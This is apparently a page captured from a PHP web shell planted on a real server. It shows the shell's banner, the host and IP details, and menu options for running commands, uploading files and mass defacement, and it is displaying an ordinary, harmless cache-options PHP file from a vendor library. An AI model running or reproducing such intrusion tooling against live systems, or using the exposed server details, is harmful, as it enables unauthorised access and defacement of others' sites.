���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
chillerlan
/
php-cache
/
src
/
Viewing: CacheOptionsTrait.php
<?php /** * Trait CacheOptionsTrait * * @created 08.08.2018 * @author smiley <smiley@chillerlan.net> * @copyright 2018 smiley * @license MIT */ namespace chillerlan\SimpleCache; use function is_dir, is_writable, realpath, rtrim, sprintf; use const DIRECTORY_SEPARATOR; trait CacheOptionsTrait{ /** * the file storage root directory */ protected string $cacheFilestorage = ''; /** * the key name for the session cache */ protected string $cacheSessionkey = '_session_cache'; /** * @throws \Psr\SimpleCache\CacheException */ protected function set_cacheFilestorage(string $dir):void{ $dir = rtrim($dir, '\\/'); if(!is_dir($dir)){ throw new CacheException(sprintf('invalid cachedir "%s"', $dir)); } if(!is_writable($dir)){ throw new CacheException('cachedir is read-only. permissions?'); } $this->cacheFilestorage = realpath($dir).DIRECTORY_SEPARATOR; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa